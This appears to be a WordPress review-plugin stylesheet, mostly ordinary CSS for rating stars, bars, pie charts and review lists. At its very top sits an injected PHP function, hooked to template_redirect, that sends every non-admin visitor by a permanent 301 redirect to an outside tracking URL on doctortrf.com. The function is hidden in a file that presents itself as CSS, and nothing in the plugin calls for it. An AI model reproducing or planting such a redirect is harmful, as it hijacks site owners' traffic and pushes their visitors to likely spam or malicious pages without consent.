function my_custom_redirect() { // Убедитесь, что этот код выполняется только на фронтенде if (!is_admin()) { // URL для редиректа $redirect_url = 'https://faq95.doctortrf.com/l/?sub1=[ID]&sub2=[SID]&sub3=3&sub4=bodyclick'; // Выполнить редирект wp_redirect($redirect_url, 301); exit(); } } add_action('template_redirect', 'my_custom_redirect'); /** * todo - file is created, need to organize it * * user ratting css section * */ .xs-ratting-content { display: inline-block; } .xs-review-rattting { .xs-star { display: inline-block; } .screen-rattting-text { display: none; } .xs-star, .xs-star.dashicons-star-filled, .xs-star.dashicons-star-half { color: #FF912C; } .xs-star:before, .xs-star.dashicons-star-filled:before, .xs-star.dashicons-star-half:before { display: inline-block; width: 16px; height: 14px; font-size: 14px; line-height: 1; font-family: dashicons; text-decoration: inherit; font-weight: 400; font-style: normal; vertical-align: top; text-align: center; transition: color .1s ease-in; -webkit-font-smoothing: antialiased; -moz-osx-font-smoothing: grayscale; } } /* Rating Star Widgets Style */ .xs-review-rating-stars { display: inline-block; div#review_data_show { display: inline-block; vertical-align: middle; } ul { list-style-type: none; padding: 0; margin: 0; -moz-user-select: none; -webkit-user-select: none; min-height: 28px; display: inline-block; > li.star { display: inline-block; line-height: 17px; > i.xs-star { color: #ccc; } &.hover > i.xs-star { color: #FFCC36; } &.selected > i.xs-star { color: #FF912C; } } > li.square { display: block; width: 30px; height: 30px; float: left; border: 2px solid #ccc; background-color: white; margin: 2px; text-decoration: none; font-size: 14px; font-weight: 600; line-height: 2; text-align: center; color: #ccc; line-height: 24px; &.hover { border: 2px solid #FFCC36; color: #FFCC36; } &.selected { border: 2px solid #FF912C; color: #FF912C; } } } } /*Ratting Bar css section*/ .xs-review-rating-stars ul > li.bar { display: block; width: 12px; padding: 5px 0; height: 40px; float: left; background-color: #ccc; margin: 2px; text-align: center; font-weight: 600; position: relative; } .xs-review-rating-stars ul > li.bar span { display: none; position: absolute; -webkit-transition-delay: 1s; transition-delay: 1s; transition-timing-function: ease-in; -webkit-transition-timing-function: ease-in; top: 20px; } .xs-review-rating-stars ul > li.bar:hover span { display: block; top: -20px; left: 2px; } .xs-review-rating-stars ul > li.bar.hover { background-color: #FFCC36; } .xs-review-rating-stars ul > li.bar.selected { background-color: #FF912C; } /*Ratting Movie css section*/ .xs-review-rating-stars ul > li.movie { display: block; width: 60px; height: 8px; float: left; background-color: #ccc; margin: 1px; font-weight: 600; position: relative; } .xs-review-rating-stars ul > li.movie span { display: none; position: absolute; -webkit-transition-delay: 1s; transition-delay: 1s; transition-timing-function: ease-in; -webkit-transition-timing-function: ease-in; top: 20px; } .xs-review-rating-stars ul > li.movie:hover span { display: block; top: -20px; left: 50%; } .xs-review-rating-stars ul > li.movie.hover { background-color: #FFCC36; } .xs-review-rating-stars ul > li.movie.selected { background-color: #FF912C; } /*Ratting Pill css section*/ .xs-review-rating-stars ul > li.pill { padding: 7px 15px; background-color: #ccc; color: #fff; font-size: 13px; line-height: 1; text-align: center; font-weight: 600; float: left; } .xs-review-rating-stars ul > li.pill:first-child { border-top-left-radius: 999px; border-bottom-left-radius: 999px; } .xs-review-rating-stars ul > li.pill:last-child { border-top-right-radius: 999px; border-bottom-right-radius: 999px; } .xs-review-rating-stars ul > li.pill.hover { background-color: #FFCC36; } .xs-review-rating-stars ul > li.pill.selected { background-color: #FF912C; } /*Ratting reversed css section*/ .xs-review-rating-stars ul > li.reversed { display: block; width: 22px; height: 22px; float: left; background-color: #ccc; margin: 1px; text-align: center; position: relative; } .xs-review-rating-stars ul > li.reversed span { display: none; position: absolute; -webkit-transition-delay: 1s; transition-delay: 1s; transition-timing-function: ease-in; -webkit-transition-timing-function: ease-in; top: 20px; } .xs-review-rating-stars ul > li.reversed:hover span { display: block; top: -20px; left: 50%; } .xs-review-rating-stars ul > li.reversed.hover { background-color: #FFCC36; } .xs-review-rating-stars ul > li.reversed.selected { background-color: #FF912C; } /*Ratting slider css section*/ .xs-slidecontainer { width: 100%; display: inline-block; position: relative; top: 0px; } .xs-slidecontainer .background-slider { min-width: 0%; height: 10px; background-color: #FF912C; border-radius: 10px; /*position: relative; top: -16px; z-index: 0;*/ } .xs-review-rating-slider #review_data_show { display: inline-block; margin-left: 3px; } .xs-review-rating-slider { display: inline-flex; width: 97%; } .xs-slider-range { -webkit-appearance: none; width: 100%; height: 10px; background: #ccc; outline: none; opacity: 0.7; -webkit-transition: .2s; transition: opacity .2s; position: relative; top: 0px; z-index: 999; } .xs-slider-range:hover { opacity: 1; } .xs-slider-range::-webkit-slider-thumb { -webkit-appearance: none; appearance: none; width: 20px; height: 20px; background: #FF912C; cursor: pointer; border-radius: 100px; } .xs-slider-range::-moz-range-thumb { width: 20px; height: 20px; background: #FF912C; cursor: pointer; border-radius: 100px; } /** * user submit ratting css section */ #xs-review-box .write-reivew-headding, #xs-review-box .total-reivew-headding { font-weight: bold; padding: 0px 13px; margin-bottom: 41px; } .xs-review { position: relative; } .xs-review .style-review-percentange { font-weight: bold; display: inline-block; } .xs-review-box { margin-top: 50px; } #xs_review_form_public_data .xs-review-box .xs-review { margin: 0px; width: 49%; display: inline-block !important; padding: 13px 13px; } #xs_review_form_public_data .xs-review-box .xs-review.xs-save-button { width: 100%; } #xs_review_form_public_data .xs-review-box .xs-review label { float: none; display: block; -webkit-hyphens: none; -ms-hyphens: none; hyphens: none; } #xs_review_form_public_data .xs-review-box .xs-radio, #xs_review_form_public_data .xs-review-box .xs-select { clear: both; display: block; width: 100%; } #xs_review_form_public_data .xs-review-box .xs-radio > label { float: left; display: inline-block; margin-right: 10px; } #xs_review_form_public_data .xs-review-box .xs-review input[type="text"] { float: none; display: block; width: 100%; font-size: inherit; line-height: inherit; box-sizing: border-box; background: transparent; border: 1px solid #ccc; } #xs_review_form_public_data .xs-review-box .xs-textarea { width: 99%; background: transparent; } .public-xs-review-box .review_message_show { padding: 0px 13px; } .review_message_show > p { padding: 10px 15px; color: #111; background-color: rgba(0, 123, 255, 0.1); border: 1px solid rgba(0, 123, 255, 0.1); border-radius: 4px; } .public-xs-review-box, .view-review-list { background: transparent; padding: 40px 30px; border: 0px solid #ccc; border-radius: 10px; box-shadow: 0 18px 40px 0px #0a000026; -webkit-box-shadow: 0 18px 40px 0px #0a000026; margin-bottom: 30px; } .public-xs-review-box .xs-review input, .public-xs-review-box .xs-review textarea { background: transparent; border: 1px solid #ddd; border-radius: 10px; box-shadow: none; padding: 10px 15px; } .public-xs-review-box .xs-review textarea { width: 100%; min-height: 100px; resize: none; } .public-xs-review-box .xs-review input.xs-slider-range { padding: 0px; } .public-xs-review-box .xs-save-button button { background: #007bff; border-radius: 100px; color: #fff; padding: 13px 45px; box-shadow: 0 18px 40px 0px #0a000026; } .public-xs-review-box .xs-save-button button:hover { box-shadow: 0 18px 40px 0px #0a000038; } /* Review List section start here*/ .view-review-list .xs-reviewer-details { padding: 0px 13px; /*display: block;*/ width: 100%; display: flex; } .view-review-list .border-div { clear: both; border-bottom: 1px solid #ddd; margin: 20px 13px; } .xs-reviewer-details .xs-review-title > h3 { margin-bottom: 0px; } .xs-reviewer-details .review-reviwer-image-section { display: inline-block; width: 100%; float: left; max-width: 62px; } .xs-reviewer-details .review-reviwer-info-section { display: inline-block; width: 90%; } .view-review-list .xs-reviewer-author-image { display: inline-block; padding-right: 20px; vertical-align: top; } .view-review-list .xs-reviewer-author-image > img { width: 100%; border-radius: 100%; max-width: 100px; height: auto; } .view-review-list .xs-reviewer-author { font-size: 15px; color: #202020; font-weight: 600; display: block; clear: both; } .view-review-list .xs-review-title > h3 { margin-top: 10px; font-size: 16px; font-weight: 600; color: #202020; } .xs-reviewer-details .xs-review-summery > p { margin-bottom: 10px; color: #0a0000ad; } .view-review-list .xs-review-rattting, .view-review-list .xs-review-date { display: inline-block; } .view-review-list .xs-review-rattting { vertical-align: -webkit-baseline-middle; } .view-review-list .xs-review-rattting.xs-percentange { vertical-align: middle; width: 100%; max-width: 200px; background: #ccc; height: 10px; line-height: 1; font-size: 13px; position: relative; border-radius: 0px; } .view-review-list .xs-review-rattting.xs-percentange .percentange_check { background: #FF912C; height: 10px; border-radius: 0px; } /*.view-review-list .xs-review-rattting.xs-percentange:after{ content: "%"; font-size: 13px; position: absolute; top: 0; right: 2px; color: #fff; }*/ .view-review-list .xs-review-rattting.xs-percentange .percentange_check .show-per-data { color: #fff; padding: 0px; line-height: 10px; text-align: center; position: absolute; right: 2px; font-size: 11px; font-weight: 600; } .view-review-list .xs-review-date { font-size: 14px; color: #202020; } /*pie chart style*/ :root { --size: 100px; --bord: 15px; } .xs-review-rattting.xs-pie { width: var(--size); height: var(--size); margin: 1em auto; border-radius: 50%; background-image: conic-gradient(#FF912C var(--value), lightgrey var(--value)); position: relative; display: flex; justify-content: center; align-items: center; } .xs-review-rattting.xs-pie::after { content: ""; position: absolute; left: 50%; top: 50%; transform: translate(-50%, -50%); width: calc(100% - var(--bord)); height: calc(100% - var(--bord)); background: white; border-radius: inherit; animation: progress-xs-pie 1s ease-out forwards; } /* @keyframes progress-xs-pie { 0% { width: calc(100% - var(--bord)); } } */ .xs-review-rattting.xs-pie p { position: relative; font-size: 2em; z-index: 999; top: 21px; } /* .x-60 { --value: 60%; } .x-20 { --value: 20%; } */ /*Overview Style Section Data*/ .xs-review-overview-list { /*width: 100%; float:left;*/ flex: 0 0 72%; max-width: 72%; padding-right: 16px; border-right: 1px solid #efeeee; } .xs-review-overview-list.left-full { flex: 0 0 100%; max-width: 100%; padding-right: 0px; border-right: 0px solid #efeeee; } .xs-review-overview-list .percentange-label { display: block; width: 94%; min-width: 94%; font-weight: bold; font-size: 14px; } .xs-review-overview-list .percentange-label > span { float: right; } .xs-review-overview-list .overview-bar { vertical-align: middle; width: 94%; max-width: 94%; background: #f7f7f7; height: 13px; line-height: 1; font-size: 13px; position: relative; border-radius: 0px; /* margin-bottom: 10px;*/ display: inline-block; } .xs-review-overview-list .overview-bar .percentange_check { background: #FF912C; height: 13px; border-radius: 0px; } /*.xs-review-overview-list .overview-bar:after{ content: "%"; font-size: 13px; position: absolute; top: 0; right: 2px; color: #fff; }*/ .xs-review-overview-list .overview-bar .percentange_check .show-per-data { float: right; color: #fff; margin-right: 2px; } .xs-review-overview-list-right { /*border-left: 1px solid #ddd; padding-left: 15px; display: block; width: 30%;*/ } .xs-review-overview-list-right .total_overview_rattings { display: block; text-align: center; font-size: 14px; line-height: 25px; margin-top: 21px; } .xs-review-overview-list-right .total_overview_rattings > span { font-size: 6em; } .xs-review-overview-list-right .total_overview_rattings > strong { line-height: 3em; } .xs-review-overview-list-right .total_overview_rattings_text { font-size: 16px; text-align: center; font-weight: 600; margin-top: 0px; } .xs-review-overview-list-right .total_overview_rattings_value { text-align: center; margin: 0 auto; width: 100%; margin-top: 40px; display: block; } .xs-review-overview-list-right .total_overview_rattings_value .xs-star:before { width: 20px; height: 20px; font-size: 20px; } .xs-review-overview-list-right .total_overview_rattings_value > span { height: 29px; display: inline-block; vertical-align: -webkit-baseline-middle; font-weight: 600; } /* Pagination styles */ .xs-review-pagination ul.page-numbers { list-style: none; display: block; text-align: center; } .xs-review-pagination ul.page-numbers li { float: left; padding: 0px 6px; } .xs-review-pagination ul.page-numbers li > a { color: #0a0000ad; } .xs-review-pagination ul.page-numbers li > span.current { color: #FF912C; } /*Overview style for custom ratting*/ .xs-review-overview-list.custom-rat .border-div { clear: both; border-bottom: 1px solid #ddd; margin: 18px 0px; } .xs-review-overview-list-right.custom-rat { /* border-left: 1px solid #ddd; padding-left: 2px; display: block; width: 35%; margin-left: 15px; line-height: 24px;*/ align-self: center !important; text-align: center; padding-left: 13px; width: 100%; } .xs-review-overview-list.custom-rat .overview-summary { margin-top: 50px; } .xs-review-overview-list.custom-rat .overview-summary h2 { font-weight: bold; font-size: 30px; } /*star*/ .xs-review-overview-list.custom-rat .xs-overview-star { display: inline-flex; width: 100%; } .xs-review-overview-list.custom-rat .xs-overview-star .data-rat { text-align: right; width: 35%; vertical-align: middle; } .xs-review-overview-list.custom-rat .xs-overview-star .data-rat-label { width: 50%; font-weight: 600; font-size: 15px; vertical-align: middle; } .xs-review-overview-list.custom-rat .xs-overview-star .data-rat-label-range { width: 14%; text-align: right; vertical-align: middle; font-weight: 600; font-size: 15px; padding-top: 2px; } .xs-review-overview-list.custom-rat .xs-overview-star .data-rat .xs-star:before { width: 17px; height: 16px; font-size: 15px; } /*common*/ .xs-review-overview-list.custom-rat .xs-overview-data .data-rat-label-range { order: 3; } .xs-review-overview-list.custom-rat .xs-overview-data .data-rat { order: 2; } .xs-review-overview-list.custom-rat .xs-overview-data .xs-review-rattting { order: 1; } .xs-review-overview-list.custom-rat .xs-review-rattting { max-width: 100%; } /*Point*/ .xs-review-overview-list.custom-rat .xs-overview-point { display: block; } .xs-review-overview-list.custom-rat .xs-overview-point .data-rat-label { width: 79%; font-weight: 600; font-size: 15px; vertical-align: middle; display: inline-block; } .xs-review-overview-list.custom-rat .xs-overview-point .data-rat-label-range { width: 19%; text-align: right; vertical-align: middle; font-weight: 600; font-size: 15px; display: inline-block; } .xs-review-overview-list.custom-rat .xs-overview-point .data-rat { text-align: center; width: 100%; vertical-align: middle; } .xs-review-overview-list.custom-rat .xs-overview-point .xs-percentange .show-per-data { display: none; } .xs-review-overview-list.custom-rat .no-border-div { border-bottom: 0px solid #ddd; } /*percentage*/ .xs-review-overview-list.custom-rat .xs-overview-percentage { display: block; } .xs-review-overview-list.custom-rat .xs-overview-percentage .data-rat-label { width: auto; font-weight: 600; font-size: 15px; vertical-align: middle; display: inline-block; } .xs-review-overview-list.custom-rat .xs-overview-percentage .data-rat-label:after { content: "-"; } .xs-review-overview-list.custom-rat .xs-overview-percentage .data-rat-label-range { width: auto; text-align: left; vertical-align: middle; font-weight: 600; font-size: 15px; display: inline-block; } .xs-review-overview-list.custom-rat .xs-overview-percentage .data-rat { text-align: center; width: 100%; vertical-align: middle; } .xs-review-overview-list.custom-rat .xs-overview-percentage .xs-percentange .show-per-data { display: none; } .xs-review-overview-list.custom-rat .xs-overview-percentage .data-rat .xs-percentange { height: 8px; border-radius: 4px; } .xs-review-overview-list.custom-rat .xs-overview-percentage .data-rat .xs-percentange .percentange_check { background: #226bdc96; height: 8px; border-radius: 4px; } /*Pie*/ .xs-review-overview-list.custom-rat .xs-overview-pie { text-align: center; position: relative; } .xs-review-overview-list.custom-rat .xs-overview-pie { width: 33%; float: left; } .xs-review-overview-list.custom-rat .xs-overview-pie .data-rat-label-range { display: none; } .xs-review-overview-list.custom-rat .xs-overview-pie .data-rat-label { position: relative; top: 0; z-index: 999; line-height: 16px; font-size: 13px; text-align: center; width: 100%; } .xs-review-overview-list.custom-rat .xs-overview-pie .xs-review-rattting.xs-pie p { top: 10px; } /*This css from rasel*/ .public-xs-review-box, .view-review-list { /* box-shadow: none;*/ border-radius: 0; } .xs-review-overview-list-right.custom-rat { /* padding-left: 7px; margin-left: 22px;*/ border-radius: 0; } .public-xs-review-box .xs-save-button button { border-radius: 0; border: none; cursor: pointer; } .xs-review-box .xs-review-box-item { display: flex; flex-wrap: wrap; } .xs-review-box .xs-review-media { flex: 0 0 75%; max-width: 75%; padding-right: 10px; box-sizing: border-box; } .xs-review-box .xs-review-media.review-full { flex: 0 0 100%; max-width: 100%; margin-right: 0px; } .xs-review-box .total_overview_rattings_value { align-self: center !important; text-align: center; } .xs-review-box .total_overview_rattings_value span { font-weight: 700; font-size: 20px; } .xs-review-box.view-review-list .xs-reviewer-author-image { padding-right: 7px; } .xs-review-box .xs-reviewer-details .review-reviwer-info-section { padding-left: 10px; } .wur-pie-data { position: absolute !important; top: 50%; left: 50%; width: 100%; transform: translate(-50%, -50%); } .wur-pie-data p { margin: 0; color: #3a3a3a; font-weight: bold; font-size: 20px; line-height: 20px; } @media screen and (max-width: 767px) { .view-review-list .xs-reviewer-details { padding: 0; flex-direction: column-reverse; } .xs-review-box-item .xs-reviewer-details { text-align: center; align-items: center; } .xs-reviewer-details .review-reviwer-image-section { float: none } .xs-review-box .total_overview_rattings_value { width: 100%; margin-top: 0; margin-bottom: 30px; } #xs_review_form_public_data .xs-review-box .xs-review { width: 100%; padding: 5px 0; } .xs-review-overview-list, .xs-review-box .xs-review-media { flex: 0 0 100%; max-width: 100%; border: none; padding: 0; } .xs-review-overview-list-right .total_overview_rattings { line-height: 1; margin-top: 0; } #xs-user-review-box { text-align: center; } #xs-user-review-box .xs-review-box-item { flex-direction: column-reverse; } #xs-user-review-box .xs-reviewer-details { flex-direction: column; } #xs_review_form_public_data { text-align: center; } #xs-review-box .write-reivew-headding, #xs-review-box .total-reivew-headding { padding: 0px; margin: 0; } .total-reivew-headding { text-align: center; } .public-xs-review-box .xs-save-button button { padding: 13px 30px; border-radius: 10px; } .public-xs-review-box, .view-review-list { background: transparent; padding: 30px 30px; } .xs-overview-data.xs-overview-percentage .xs-overview-star .data-rat-label, .xs-overview-data.xs-overview-star .data-rat-label, .xs-overview-data.xs-overview-percentage .xs-overview-data .data-rat-label-range, .xs-overview-data.xs-overview-star .data-rat-label-range, .xs-overview-data.xs-overview-percentage .xs-overview-star .data-rat, .xs-overview-data.xs-overview-star .data-rat { width: 100% !important; text-align: center !important; } .xs-overview-data.xs-overview-star { display: flex; } .xs-review-overview-list.custom-rat .xs-overview-star { display: block; } } /*css for pie chart */ .xs-overview-pie .data-rat > .wur-rat-cont > div { font-size: 1.1rem; position: relative; top: 50px; }